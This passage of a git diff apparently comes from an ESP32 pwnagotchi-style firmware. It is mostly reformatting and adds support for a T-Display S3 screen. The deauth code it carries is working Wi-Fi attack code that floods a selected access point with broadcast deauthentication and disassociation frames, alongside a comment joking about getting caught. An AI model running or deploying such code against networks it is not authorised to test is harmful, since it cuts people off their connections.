Channel: " + (String) WiFi.channel(Deauth::randomIndex)); - - Serial.print("('-') AP Hidden?: "); - Serial.println(Deauth::printHidden(Deauth::randomIndex)); - Display::cleanDisplayFace("('-')"); - Display::attachSmallText("AP Hidden?: " + (String) Deauth::printHidden(Deauth::randomIndex)); - Serial.println(" "); - delay(250); + std::copy(apBssid, apBssid + sizeof(apBssid), + Deauth::disassociateFrame + 4); + std::copy(Deauth::broadcastAddr, + Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), + Deauth::disassociateFrame + 10); + std::copy(Deauth::broadcastAddr, + Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr), + Deauth::disassociateFrame + 16); + } + + Serial.print("('-') Full AP SSID: "); + Serial.println(WiFi.SSID(Deauth::randomIndex)); + Display::cleanDisplayFace("('-')"); + Display::attachSmallText("Full AP SSID: " + + (String)WiFi.SSID(Deauth::randomIndex)); + + Serial.print("('-') AP Encryption: "); + Serial.println(WiFi.encryptionType(Deauth::randomIndex)); + Display::cleanDisplayFace("('-')"); + Display::attachSmallText("AP Encryption: " + + (String)WiFi.encryptionType(Deauth::randomIndex)); + + Serial.print("('-') AP RSSI: "); + Serial.println(WiFi.RSSI(Deauth::randomIndex)); + Display::cleanDisplayFace("('-')"); + Display::attachSmallText("AP RSSI: " + + (String)WiFi.RSSI(Deauth::randomIndex)); + + Serial.print("('-') AP BSSID: "); + printMac(apBssid); + Display::cleanDisplayFace("('-')"); + Display::attachSmallText("AP BSSID: " + (String)Deauth::printMacStr(apBssid)); + + Serial.print("('-') AP Channel: "); + Serial.println(WiFi.channel(Deauth::randomIndex)); + Display::cleanDisplayFace("('-')"); + Display::attachSmallText("AP Channel: " + + (String)WiFi.channel(Deauth::randomIndex)); + + Serial.print("('-') AP Hidden?: "); + Serial.println(Deauth::printHidden(Deauth::randomIndex)); + Display::cleanDisplayFace("('-')"); + Display::attachSmallText("AP Hidden?: " + + (String)Deauth::printHidden(Deauth::randomIndex)); + Serial.println(" "); + delay(250); } void Deauth::deauth() { - if (Config::deauth) { - // select AP - Deauth::select(); - - if (randomAP.length() > 0) { - Serial.println("(>-<) Starting deauthentication attack on the selected AP..."); - Serial.println(" "); - Display::cleanDisplayFace("(>-<)"); - Display::attachSmallText("Begin deauth-attack on AP..."); - delay(250); - // define the attack - if (!running) { - start(); - } else { - Serial.println("('-') Attack is already running."); - Serial.println(" "); - Display::cleanDisplayFace("('-')"); - Display::attachSmallText(" Attack is already running."); - delay(250); - } - } else { - // ok why did you modify the deauth function? i literally told you to not do that... - Serial.println("(X-X) No access point selected. Use select() first."); - Serial.println("('-') Told you so!"); - Serial.println(" "); - Display::cleanDisplayFace("(X-X)"); - Display::attachSmallText("No access point selected. Use select() first."); - delay(250); - Display::cleanDisplayFace("('-')"); - Display::attachSmallText("Told you so!"); - delay(250); - } + if (Config::deauth) { + // select AP + Deauth::select(); + + if (randomAP.length() > 0) { + Serial.println( + "(>-<) Starting deauthentication attack on the selected AP..."); + Serial.println(" "); + Display::cleanDisplayFace("(>-<)"); + Display::attachSmallText("Begin deauth-attack on AP..."); + delay(250); + // define the attack + if (!running) { + start(); + } else { + Serial.println("('-') Attack is already running."); + Serial.println(" "); + Display::cleanDisplayFace("('-')"); + Display::attachSmallText(" Attack is already running."); + delay(250); + } } else { - // do nothing if deauthing is disabled + // ok why did you modify the deauth function? i literally told you to not + // do that... + Serial.println("(X-X) No access point selected. Use select() first."); + Serial.println("('-') Told you so!"); + Serial.println(" "); + Display::cleanDisplayFace("(X-X)"); + Display::attachSmallText("No access point selected. Use select() first."); + delay(250); + Display::cleanDisplayFace("('-')"); + Display::attachSmallText("Told you so!"); + delay(250); } + } else { + // do nothing if deauthing is disabled + } } void Deauth::start() { - running = true; - int deauthFrameSize = sizeof(deauthFrame); - int disassociateFrameSize = sizeof(disassociateFrame); - int packets = 0; - unsigned long startTime = millis(); - - // packet calculation - int basePacketCount = 150; - int rssi = WiFi.RSSI(Deauth::randomIndex); - int numDevices = WiFi.softAPgetStationNum(); - - int packetCount = basePacketCount + (numDevices * 10); - if (rssi > -50) { - packetCount /= 2; // strong signal - } else if (rssi < -80) { - packetCount *= 2; // weak signal - } - - // send the deauth 150 times(ur cooked if they find out) - for (int i = 0; i < packetCount; ++i) { - if (Deauth::send(deauthFrame, deauthFrameSize, 0) || Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { - packets++; - float pps = packets / (float)(millis() - startTime) * 1000; - - // show pps - if (!isinf(pps)) { - Serial.print("(>-<) Packets per second: "); - Serial.print(pps); - Serial.print(" pkt/s"); - Serial.println(" (AP:" + (String) randomAP.c_str() + ")"); - Display::cleanDisplayFace("(>-<)"); - Display::attachSmallText("Packets per second: " + (String) pps + " pkt/s" + "(AP:" + (String) randomAP.c_str() + ")"); - } - } else if (!Deauth::send(deauthFrame, deauthFrameSize, 0) || !Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { - Serial.println("(X-X) Both packets failed to send!"); - Display::cleanDisplayFace("(X-X)"); - Display::attachSmallText("Both packets failed to send!"); - } else if (!Deauth::send(deauthFrame, deauthFrameSize, 0) && Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { - Serial.println("(X-X) Deauthentication failed to send!"); - Display::cleanDisplayFace("(X-X)"); - Display::attachSmallText("Deauth failed to send!"); - } else if (Deauth::send(deauthFrame, deauthFrameSize, 0) && !Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { - Serial.println("(X-X) Disassociation failed to send!"); - Display::cleanDisplayFace("(X-X)"); - Display::attachSmallText("Disassoc failed to send!"); - } else { - Serial.println("(X-X) Unable to calculate pkt/s!"); - Display::cleanDisplayFace("(X-X)"); - Display::attachSmallText("Unable to calculate pkt/s!"); - } + running = true; + int deauthFrameSize = sizeof(deauthFrame); + int disassociateFrameSize = sizeof(disassociateFrame); + int packets = 0; + unsigned long startTime = millis(); + + // packet calculation + int basePacketCount = 150; + int rssi = WiFi.RSSI(Deauth::randomIndex); + int numDevices = WiFi.softAPgetStationNum(); + + int packetCount = basePacketCount + (numDevices * 10); + if (rssi > -50) { + packetCount /= 2; // strong signal + } else if (rssi < -80) { + packetCount *= 2; // weak signal + } + + // send the deauth 150 times(ur cooked if they find out) + for (int i = 0; i < packetCount; ++i) { + if (Deauth::send(deauthFrame, deauthFrameSize, 0) || + Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { + packets++; + float pps = packets / (float)(millis() - startTime) * 1000; + + // show pps + if (!isinf(pps)) { + Serial.print("(>-<) Packets per second: "); + Serial.print(pps); + Serial.print(" pkt/s"); + Serial.println(" (AP:" + (String)randomAP.c_str() + ")"); + Display::cleanDisplayFace("(>-<)"); + Display::attachSmallText("Packets per second: " + (String)pps + + " pkt/s" + " (AP:" + (String)randomAP.c_str() + + ")"); + } + } else if (!Deauth::send(deauthFrame, deauthFrameSize, 0) || + !Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { + Serial.println("(X-X) Both packets failed to send!"); + Display::cleanDisplayFace("(X-X)"); + Display::attachSmallText("Both packets failed to send!"); + } else if (!Deauth::send(deauthFrame, deauthFrameSize, 0) && + Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { + Serial.println("(X-X) Deauthentication failed to send!"); + Display::cleanDisplayFace("(X-X)"); + Display::attachSmallText("Deauth failed to send!"); + } else if (Deauth::send(deauthFrame, deauthFrameSize, 0) && + !Deauth::send(disassociateFrame, disassociateFrameSize, 0)) { + Serial.println("(X-X) Disassociation failed to send!"); + Display::cleanDisplayFace("(X-X)"); + Display::attachSmallText("Disassoc failed to send!"); + } else { + Serial.println("(X-X) Unable to calculate pkt/s!"); + Display::cleanDisplayFace("(X-X)"); + Display::attachSmallText("Unable to calculate pkt/s!"); } - - Serial.println(" "); - Serial.println("(^-^) Attack finished!"); - Serial.println(" "); - Display::cleanDisplayFace("(^-^)"); - Display::attachSmallText("Attack finished!"); - running = false; + } + + Serial.println(" "); + Serial.println("(^-^) Attack finished!"); + Serial.println(" "); + Display::cleanDisplayFace("(^-^)"); + Display::attachSmallText("Attack finished!"); + running = false; } diff --git a/minigotchi-ESP32/deauth.h b/minigotchi-ESP32/deauth.h index 65ced10..08c44ab 100644 --- a/minigotchi-ESP32/deauth.h +++ b/minigotchi-ESP32/deauth.h @@ -1,6 +1,6 @@ /** * deauth.h: header files for deauth.cpp -*/ + */ #ifndef DEAUTH_H #define DEAUTH_H @@ -8,36 +8,36 @@ #include "config.h" #include "minigotchi.h" #include -#include -#include -#include -#include #include +#include #include +#include +#include +#include class Deauth { public: - static void deauth(); - static void list(); - static void add(const std::string& bssids); - static uint8_t deauthTemp[26]; - static uint8_t deauthFrame[26]; - static uint8_t disassociateFrame[26]; - static uint8_t broadcastAddr[6]; - static int randomIndex; + static void deauth(); + static void list(); + static void add(const std::string &bssids); + static uint8_t deauthTemp[26]; + static uint8_t deauthFrame[26]; + static uint8_t disassociateFrame[26]; + static uint8_t broadcastAddr[6]; + static int randomIndex; private: - static bool send(uint8_t* buf, uint16_t len, bool sys_seq); - static bool broadcast(uint8_t* mac); - static String printHidden(int network); - static void printMac(uint8_t* mac); - static String printMacStr(uint8_t* mac); - static void select(); - static void start(); - static uint8_t bssid[6]; - static bool running; - static std::vector whitelist; - static String randomAP; + static bool send(uint8_t *buf, uint16_t len, bool sys_seq); + static bool broadcast(uint8_t *mac); + static String printHidden(int network); + static void printMac(uint8_t *mac); + static String printMacStr(uint8_t *mac); + static void select(); + static void start(); + static uint8_t bssid[6]; + static bool running; + static std::vector whitelist; + static String randomAP; }; #endif // DEAUTH_H diff --git a/minigotchi-ESP32/display.cpp b/minigotchi-ESP32/display.cpp index 840b22a..71a4b48 100644 --- a/minigotchi-ESP32/display.cpp +++ b/minigotchi-ESP32/display.cpp @@ -1,19 +1,22 @@ /** * display.cpp: handles display support -*/ + */ #include "display.h" TFT_eSPI tft; // Define TFT_eSPI object -Adafruit_SSD1306* Display::adafruit_display = nullptr; -TFT_eSPI* Display::tft_display = nullptr; // Initialize the static pointer tft_display in the Display class to null +Adafruit_SSD1306 *Display::adafruit_display = nullptr; +TFT_eSPI *Display::tft_display = + nullptr; // Initialize the static pointer tft_display in the Display class +// to null Display::~Display() { if (adafruit_display) { delete adafruit_display; } - if (tft_display) { // Check if tft_display is not null (i.e., if a TFT display object exists) and delete it to free up memory + if (tft_display) { // Check if tft_display is not null (i.e., if a TFT display + // object exists) and delete it to free up memory delete tft_display; } } @@ -21,8 +24,11 @@ Display::~Display() { void Display::startScreen() { if (Config::display) { if (Config::screen == "SSD1306") { - adafruit_display = new Adafruit_SSD1306(SSD1306_SCREEN_WIDTH, SSD1306_SCREEN_HEIGHT, &Wire, SSD1306_OLED_RESET); - if (!adafruit_display->begin(SSD1306_SWITCHCAPVCC, 0x3C)) { // initialize with the I2C addr 0x3C + adafruit_display = + new Adafruit_SSD1306(SSD1306_SCREEN_WIDTH, SSD1306_SCREEN_HEIGHT, + &Wire, SSD1306_OLED_RESET); + if (!adafruit_display->begin(SSD1306_SWITCHCAPVCC, + 0x3C)) { // initialize with the I2C addr 0x3C Serial.println(F("SSD1306 allocation failed")); return; } @@ -33,7 +39,8 @@ void Display::startScreen() { adafruit_display->setTextColor(WHITE); } else if (Config::screen == "WEMOS_OLED_SHIELD") { adafruit_display = new Adafruit_SSD1306(WEMOS_OLED_SHIELD_OLED_RESET); - if (!adafruit_display->begin(SSD1306_SWITCHCAPVCC, 0x3C)) { // initialize with the I2C addr 0x3C + if (!adafruit_display->begin(SSD1306_SWITCHCAPVCC, + 0x3C)) { // initialize with the I2C addr 0x3C Serial.println(F("SSD1306 allocation failed")); return; } @@ -42,69 +49,121 @@ void Display::startScreen() { delay(100); adafruit_display->clearDisplay(); adafruit_display->setTextColor(WHITE); - } else if (Config::screen == "CYD") { // Check if the screen configuration is set to "CYD" and execute the corresponding code - tft.begin(); // Initialize TFT_eSPI library - tft.setRotation(1); // Set display rotation if needed - tft.fillScreen(TFT_BLACK); // Fill screen with black color - tft.setTextColor(TFT_WHITE); // Set text color to white - tft.setTextSize(2); // Set text size + } else if (Config::screen == + "CYD") { // Check if the screen configuration is set to "CYD" and + // execute the corresponding code + tft.begin(); // Initialize TFT_eSPI library + delay(100); + tft.setRotation(1); // Set display rotation if needed + delay(100); + tft.fillScreen(TFT_BLACK); // Fill screen with black color + delay(100); + tft.setTextColor(TFT_WHITE); // Set text color to white + delay(100); + tft.setTextSize(2); // Set text size + delay(100); + } else if (Config::screen == "T_DISPLAY_S3") { + tft.begin(); + delay(100); + tft.setRotation(1); + delay(100); + tft.fillScreen(TFT_BLACK); + delay(100); + tft.setTextColor(TFT_WHITE); + delay(100); + tft.setTextSize(2); + delay(100); } else { // use wemos shield by default adafruit_display = new Adafruit_SSD1306(WEMOS_OLED_SHIELD_OLED_RESET); - if (!adafruit_display->begin(SSD1306_SWITCHCAPVCC, 0x3C)) { // initialize with the I2C addr 0x3C + if (!adafruit_display->begin(SSD1306_SWITCHCAPVCC, + 0x3C)) { // initialize with the I2C addr 0x3C Serial.println(F("SSD1306 allocation failed")); return; } - delay(5); // initialize w/ delays to prevent crash + delay(100); // initialize w/ delays to prevent crash adafruit_display->display(); - delay(5); + delay(100); adafruit_display->clearDisplay(); - delay(5); + delay(100); adafruit_display->setTextColor(WHITE); - delay(5); + delay(100); } } } void Display::cleanDisplayFace(String text) { if (Config::display) { - if (Config::screen == "CYD") { // Check if the screen configuration is set to "CYD" and execute the corresponding code - tft.fillScreen(TFT_BLACK); // Clear screen with black color - tft.setTextColor(TFT_WHITE); // Set text color to WHITE - tft.setCursor(0, 5); // Set cursor position - tft.setTextSize(4); // Set text size - tft.println(text); // Print text + if (Config::screen == + "CYD") { // Check if the screen configuration is set to "CYD" and + // execute the corresponding code + tft.fillScreen(TFT_BLACK); // Clear screen with black color + delay(5); + tft.setTextColor(TFT_WHITE); // Set text color to WHITE + delay(5); + tft.setCursor(0, 5); // Set cursor position + delay(5); + tft.setTextSize(4); // Set text size + delay(5); + tft.println(text); // Print text + delay(5); + } else if (Config::screen == "T_DISPLAY_S3") { + tft.fillScreen(TFT_BLACK); + delay(5); + tft.setTextColor(TFT_WHITE); + delay(5); + tft.setCursor(0, 5); + delay(5); + tft.setTextSize(6); + delay(5); + tft.println(text); + delay(5); } else { adafruit_display->clearDisplay(); - delay(5); + delay(5); adafruit_display->setTextSize(2); - delay(5); + delay(5); adafruit_display->setCursor(0, 0); - delay(5); + delay(5); adafruit_display->println(text); - delay(5); + delay(5); adafruit_display->display(); - delay(5); + delay(5); } } } void Display::attachSmallText(String text) { if (Config::display) { - if (Config::screen == "CYD") { // Check if the screen configuration is set to "CYD" and execute the corresponding code - tft.setTextColor(TFT_WHITE); // Set text color to WHITE - tft.setCursor(0, 40); // Set cursor position - tft.setTextSize(1); // Set text size - tft.println(text); // Print text + if (Config::screen == + "CYD") { // Check if the screen configuration is set to "CYD" and + // execute the corresponding code + tft.setTextColor(TFT_WHITE); // Set text color to WHITE + delay(5); + tft.setCursor(0, 40); // Set cursor position + delay(5); + tft.setTextSize(1); // Set text size + delay(5); + tft.println(text); // Print text + delay(5); + } else if (Config::screen == "T_DISPLAY_S3") { + tft.setTextColor(TFT_WHITE); + delay(5); + tft.setCursor(0, 50); + delay(5); + tft.setTextSize(2); + delay(5); + tft.println(text); + delay(5); } else { adafruit_display->setCursor(0, 20); - delay(5); + delay(5); adafruit_display->setTextSize(1); - delay(5); + delay(5); adafruit_display->println(text); - delay(5); + delay(5); adafruit_display->display(); - delay(5); + delay(5); } } } diff --git a/minigotchi-ESP32/display.h b/minigotchi-ESP32/display.h index b7152e7..3e77b3c 100644 --- a/minigotchi-ESP32/display.h +++ b/minigotchi-ESP32/display.h @@ -1,25 +1,35 @@ #ifndef DISPLAY_H #define DISPLAY_H -#include +#include "config.h" #include +#include #include +#include // Defines the TFT_eSPI library for CYD #include -#include // Defines the TFT_eSPI library for CYD -#include "config.h" // SSD1306 screen #define SSD1306_SCREEN_WIDTH 128 #define SSD1306_SCREEN_HEIGHT 64 // Init screen -#define SSD1306_OLED_RESET -1 +#define SSD1306_OLED_RESET -1 #define WEMOS_OLED_SHIELD_OLED_RESET 0 // GPIO0 +/** developer note: + * + * the TFT_eSPI library may not require this, but these will be here regardless + * + */ + // Define display parameters for CYD #define CYD_SCREEN_WIDTH 240 #define CYD_SCREEN_HEIGHT 320 +// lilygo t-display-t3 +#define T_DISPLAY_S3_WIDTH 320 +#define T_DISPLAY_S3_HEIGHT 170 + class Display { public: static void startScreen(); @@ -28,8 +38,9 @@ class Display { ~Display(); private: - static Adafruit_SSD1306* adafruit_display; - static TFT_eSPI* tft_display; // Declare a static pointer to a TFT_eSPI object to manage the TFT display. + static Adafruit_SSD1306 *adafruit_display; + static TFT_eSPI *tft_display; // Declare a static pointer to a TFT_eSPI object + // to manage the TFT display. }; #endif // DISPLAY_H diff --git a/minigotchi-ESP32/frame.cpp b/minigotchi-ESP32/frame.cpp index 1df1932..7193d46 100644 --- a/minigotchi-ESP32/frame.cpp +++ b/minigotchi-ESP32/frame.cpp @@ -1,20 +1,21 @@ /** * frame.cpp: handles the sending of "pwnagotchi" beacon frames -*/ + */ #include "frame.h" -/** developer note: +/** developer note: * * when it comes to detecting a pwnagotchi, this is done with pwngrid/opwngrid. - * essentially pwngrid looks for the numbers 222-226 in payloads, and if they aren't there, it ignores it. - * these need to be put into the frames!!! + * essentially pwngrid looks for the numbers 222-226 in payloads, and if they + * aren't there, it ignores it. these need to be put into the frames!!! + * + * note that these frames aren't just normal beacon frames, rather a modified + * one with data, additional ids, etc. frames are dynamically constructed, + * headers are included like a normal frame. by far this is the most memory + * heaviest part of the minigotchi, the reason is * - * note that these frames aren't just normal beacon frames, rather a modified one with data, additional ids, etc. - * frames are dynamically constructed, headers are included like a normal frame. - * by far this is the most memory heaviest part of the minigotchi, the reason is - * -*/ + */ // initializing size_t Frame::frameSize = 0; @@ -35,26 +36,53 @@ const uint8_t Frame::SignatureAddr[] = {0xde, 0xad, 0xbe, 0xef, 0xde, 0xad}; const uint8_t Frame::BroadcastAddr[] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; const uint16_t Frame::wpaFlags = 0x0411; -const uint8_t Frame::header[] { - /* 0 - 1 */ 0x80, 0x00, // frame control, beacon frame - /* 2 - 3 */ 0x00, 0x00, // duration - /* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // broadcast address - /* 10 - 15 */ 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, // source address - /* 16 - 21 */ 0xa1, 0x00, 0x64, 0xe6, 0x0b, 0x8b, // bssid - /* 22 - 23 */ 0x40, 0x43, // fragment and sequence number - /* 24 - 32 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // timestamp - /* 33 - 34 */ 0x64, 0x00, // interval - /* 35 - 36 */ 0x11, 0x04, // capability info +const uint8_t Frame::header[]{ + /* 0 - 1 */ 0x80, + 0x00, // frame control, beacon frame + /* 2 - 3 */ 0x00, + 0x00, // duration + /* 4 - 9 */ 0xff, + 0xff, + 0xff, + 0xff, + 0xff, + 0xff, // broadcast address + /* 10 - 15 */ 0xde, + 0xad, + 0xbe, + 0xef, + 0xde, + 0xad, // source address + /* 16 - 21 */ 0xa1, + 0x00, + 0x64, + 0xe6, + 0x0b, + 0x8b, // bssid + /* 22 - 23 */ 0x40, + 0x43, // fragment and sequence number + /* 24 - 32 */ 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, + 0x00, // timestamp + /* 33 - 34 */ 0x64, + 0x00, // interval + /* 35 - 36 */ 0x11, + 0x04, // capability info }; /** developer note: - * + * * according to pack.go: * we build the frame like so - * - * func PackOneOf(from, to net.HardwareAddr, peerID []byte, signature []byte, streamID uint64, seqNum uint64, seqTot uint64, payload []byte, compress bool) (error, []byte) { - * stack := []gopacket.SerializableLayer{ - * &layers.RadioTap{}, + * + * func PackOneOf(from, to net.HardwareAddr, peerID []byte, signature []byte, + *streamID uint64, seqNum uint64, seqTot uint64, payload []byte, compress bool) + *(error, []byte) { stack := []gopacket.SerializableLayer{ &layers.RadioTap{}, * &layers.Dot11{ * Address1: to, * Address2: SignatureAddr, @@ -77,22 +105,20 @@ const uint8_t Frame::header[] { * * if streamID > 0 { * streamBuf := new(bytes.Buffer) - * if err := binary.Write(streamBuf, binary.LittleEndian, streamID); err != nil { - * return err, nil - * } else if err = binary.Write(streamBuf, binary.LittleEndian, seqNum); err != nil { - * return err, nil - * } else if err = binary.Write(streamBuf, binary.LittleEndian, seqTot); err != nil { - * return err, nil + * if err := binary.Write(streamBuf, binary.LittleEndian, + *streamID); err != nil { return err, nil } else if err = + *binary.Write(streamBuf, binary.LittleEndian, seqNum); err != nil { return err, + *nil } else if err = binary.Write(streamBuf, binary.LittleEndian, seqTot); err + *!= nil { return err, nil * } - * stack = append(stack, Info(IDWhisperStreamHeader, streamBuf.Bytes())) + * stack = append(stack, Info(IDWhisperStreamHeader, + *streamBuf.Bytes())) * } * * if compress { - * if didCompress, compressed, err := Compress(payload); err != nil { - * return err, nil - * } else if didCompress { - * stack = append(stack, Info(IDWhisperCompression, []byte{1})) - * payload = compressed + * if didCompress, compressed, err := Compress(payload); err != nil + *{ return err, nil } else if didCompress { stack = append(stack, + *Info(IDWhisperCompression, []byte{1})) payload = compressed * } * } * @@ -117,18 +143,18 @@ const uint8_t Frame::header[] { * return Serialize(stack...) * } * - * ofc, when it comes to any new programming language such as Go, i am pretty clueless as how to interpret it - * so this is all my best try - * -*/ + * ofc, when it comes to any new programming language such as Go, i am pretty + *clueless as how to interpret it so this is all my best try + * + */ /** developer note: - * + * * we're relying off of the frame structure from pack.go - * - * func PackOneOf(from, to net.HardwareAddr, peerID []byte, signature []byte, streamID uint64, seqNum uint64, seqTot uint64, payload []byte, compress bool) (error, []byte) { - * stack := []gopacket.SerializableLayer{ - * &layers.RadioTap{}, + * + * func PackOneOf(from, to net.HardwareAddr, peerID []byte, signature []byte, + *streamID uint64, seqNum uint64, seqTot uint64, payload []byte, compress bool) + *(error, []byte) { stack := []gopacket.SerializableLayer{ &layers.RadioTap{}, * &layers.Dot11{ * Address1: to, * Address2: SignatureAddr, @@ -140,163 +166,169 @@ const uint8_t Frame::header[] { * Interval: 100, * }, * } - * + * * see wifi_ieee80211_mac_hdr_t in structs.h for the frame structure... - * -*/ + * + */ void Frame::init() { - // insert header - Frame::beaconFrame.reserve(Frame::beaconFrame.size() + sizeof(header)); - Frame::beaconFrame.insert(Frame::beaconFrame.end(), std::begin(header), std::end(header)); + // insert header + Frame::beaconFrame.reserve(Frame::beaconFrame.size() + sizeof(header)); + Frame::beaconFrame.insert(Frame::beaconFrame.end(), std::begin(header), + std::end(header)); } void Frame::essid() { - // make a json doc - String jsonString; - DynamicJsonDocument doc(1024); + // make a json doc + String jsonString; + DynamicJsonDocument doc(1024); - doc["epoch"] = Config::epoch; - doc["face"] = Config::face; - doc["identity"] = Config::identity; - doc["name"] = Config::name; + doc["epoch"] = Config::epoch; + doc["face"] = Config::face; + doc["identity"] = Config::identity; + doc["name"] = Config::name; - JsonObject policy = doc.createNestedObject("policy"); - policy["advertise"] = Config::advertise; - policy["ap_ttl"] = Config::ap_ttl; - policy["associate"] = Config::associate; - policy["bored_num_epochs"] = Config::bored_num_epochs; + JsonObject policy = doc.createNestedObject("policy"); + policy["advertise"] = Config::advertise; + policy["ap_ttl"] = Config::ap_ttl; + policy["associate"] = Config::associate; + policy["bored_num_epochs"] = Config::bored_num_epochs; - JsonArray channels = policy.createNestedArray("channels"); - for (size_t i = 0; i < sizeof(Config::channels) / sizeof(Config::channels[0]); ++i) { - channels.add(Config::channels[i]); - } + JsonArray channels = policy.createNestedArray("channels"); + for (size_t i = 0; i < sizeof(Config::channels) / sizeof(Config::channels[0]); + ++i) { + channels.add(Config::channels[i]); + } - policy["deauth"] = Config::deauth; - policy["excited_num_epochs"] = Config::excited_num_epochs; - policy["hop_recon_time"] = Config::hop_recon_time; - policy["max_inactive_scale"] = Config::max_inactive_scale; - policy["max_interactions"] = Config::max_interactions; - policy["max_misses_for_recon"] = Config::max_misses_for_recon; - policy["min_recon_time"] = Config::min_rssi; - policy["min_rssi"] = Config::min_rssi; - policy["recon_inactive_multiplier"] = Config::recon_inactive_multiplier; - policy["recon_time"] = Config::recon_time; - policy["sad_num_epochs"] = Config::sad_num_epochs; - policy["sta_ttl"] = Config::sta_ttl; + policy["deauth"] = Config::deauth; + policy["excited_num_epochs"] = Config::excited_num_epochs; + policy["hop_recon_time"] = Config::hop_recon_time; + policy["max_inactive_scale"] = Config::max_inactive_scale; + policy["max_interactions"] = Config::max_interactions; + policy["max_misses_for_recon"] = Config::max_misses_for_recon; + policy["min_recon_time"] = Config::min_rssi; + policy["min_rssi"] = Config::min_rssi; + policy["recon_inactive_multiplier"] = Config::recon_inactive_multiplier; + policy["recon_time"] = Config::recon_time; + policy["sad_num_epochs"] = Config::sad_num_epochs; + policy["sta_ttl"] = Config::sta_ttl; - doc["pwnd_run"] = Config::pwnd_run; - doc["pwnd_tot"] = Config::pwnd_tot; - doc["session_id"] = Config::session_id; - doc["uptime"] = Config::uptime; - doc["version"] = Config::version; + doc["pwnd_run"] = Config::pwnd_run; + doc["pwnd_tot"] = Config::pwnd_tot; + doc["session_id"] = Config::session_id; + doc["uptime"] = Config::uptime; + doc["version"] = Config::version; - // serialize then put into beacon frame - serializeJson(doc, jsonString); - Frame::beaconFrame.reserve(Frame::beaconFrame.size() + jsonString.length()); - Frame::beaconFrame.insert(Frame::beaconFrame.end(), jsonString.begin(), jsonString.end()); + // serialize then put into beacon frame + serializeJson(doc, jsonString); + Frame::beaconFrame.reserve(Frame::beaconFrame.size() + jsonString.length()); + Frame::beaconFrame.insert(Frame::beaconFrame.end(), jsonString.begin(), + jsonString.end()); - /** developer note: - * - * if you literally want to check the json everytime you send a packet(non serialized ofc) - * - * Serial.println(jsonString); - */ + /** developer note: + * + * if you literally want to check the json everytime you send a packet(non + * serialized ofc) + * + * Serial.println(jsonString); + */ } /** developer note: - * + * * frame structure based on how it was built here - * - * 1. header + * + * 1. header * 2. payload id's * 3. (chunked) pwnagotchi data - * -*/ + * + */ void Frame::pack() { - // clear frame before constructing - Frame::beaconFrame.clear(); + // clear frame before constructing + Frame::beaconFrame.clear(); - // add the header and essid - init(); - essid(); + // add the header and essid + init(); + essid(); - // payload size - Frame::payloadSize = Frame::beaconFrame.size(); - Frame::frameSize = Frame::beaconFrame.size(); + // payload size + Frame::payloadSize = Frame::beaconFrame.size(); + Frame::frameSize = Frame::beaconFrame.size(); - for (size_t i = 0; i < payloadSize; i += Frame::chunkSize) { - Frame::beaconFrame.push_back(Frame::IDWhisperPayload); + for (size_t i = 0; i < payloadSize; i += Frame::chunkSize) { + Frame::beaconFrame.push_back(Frame::IDWhisperPayload); - size_t chunkEnd = std::min(i + Frame::chunkSize, Frame::payloadSize); - for (size_t j = i; j < chunkEnd; ++j) { - Frame::beaconFrame.push_back(Frame::beaconFrame[j]); - } + size_t chunkEnd = std::min(i + Frame::chunkSize, Frame::payloadSize); + for (size_t j = i; j < chunkEnd; ++j) { + Frame::beaconFrame.push_back(Frame::beaconFrame[j]); } + } - /** developer note: - * - * we can print the beacon frame like so... - * - * Serial.println("('-') Full Beacon Frame:"); - * for (size_t i = 0; i < beaconFrame.size(); ++i) { - * Serial.print(beaconFrame[i], HEX); - * Serial.print(" "); - * } - * Serial.println(" "); - * - */ + /** developer note: + * + * we can print the beacon frame like so... + * + * Serial.println("('-') Full Beacon Frame:"); + * for (size_t i = 0; i < beaconFrame.size(); ++i) { + * Serial.print(beaconFrame[i], HEX); + * Serial.print(" "); + * } + * Serial.println(" "); + * + */ } bool Frame::send() { - // build frame - Frame::pack(); + // build frame + Frame::pack(); - // send full frame - // we dont use raw80211 since it sends a header(which we don't need), although we do use it for monitoring, etc. - esp_err_t err = esp_wifi_80211_tx(WIFI_IF_STA, Frame::beaconFrame.data(), Frame::frameSize, 0); - delay(102); - return(err == ESP_OK); + // send full frame + // we dont use raw80211 since it sends a header(which we don't need), although + // we do use it for monitoring, etc. + esp_err_t err = esp_wifi_80211_tx(WIFI_IF_STA, Frame::beaconFrame.data(), + Frame::frameSize, 0); + delay(102); + return (err == ESP_OK); } - void Frame::advertise() { - int packets = 0; - unsigned long startTime = millis(); + int packets = 0; + unsigned long startTime = millis(); - if (Config::advertise) { - Serial.println("(>-<) Starting advertisment..."); - Serial.println(" "); - Display::cleanDisplayFace("(>-<)"); - Display::attachSmallText("Starting advertisment..."); - delay(250); - for (int i = 0; i < 150; ++i) { - if (Frame::send()) { - packets++; + if (Config::advertise) { + Serial.println("(>-<) Starting advertisment..."); + Serial.println(" "); + Display::cleanDisplayFace("(>-<)"); + Display::attachSmallText("Starting advertisment..."); + delay(250); + for (int i = 0; i < 150; ++i) { + if (Frame::send()) { + packets++; - // calculate packets per second - float pps = packets / (float)(millis() - startTime) * 1000; + // calculate packets per second + float pps = packets / (float)(millis() - startTime) * 1000; - // show pps - if (!isinf(pps)) { - Serial.print("(>-<) Packets per second: "); - Serial.print(pps); - Serial.println(" pkt/s"); - Display::cleanDisplayFace("(>-<)"); - Display::attachSmallText("Packets per second: " + (String) pps + " pkt/s"); - } - } else { - Serial.println("(X-X) Advertisment failed to send!"); - } + // show pps + if (!isinf(pps)) { + Serial.print("(>-<) Packets per second: "); + Serial.print(pps); + Serial.println(" pkt/s"); + Display::cleanDisplayFace("(>-<)"); + Display::attachSmallText("Packets per second: " + (String)pps + + " pkt/s"); } - + } else { + Serial.println("(X-X) Advertisment failed to send!"); + } + } + Serial.println(" "); 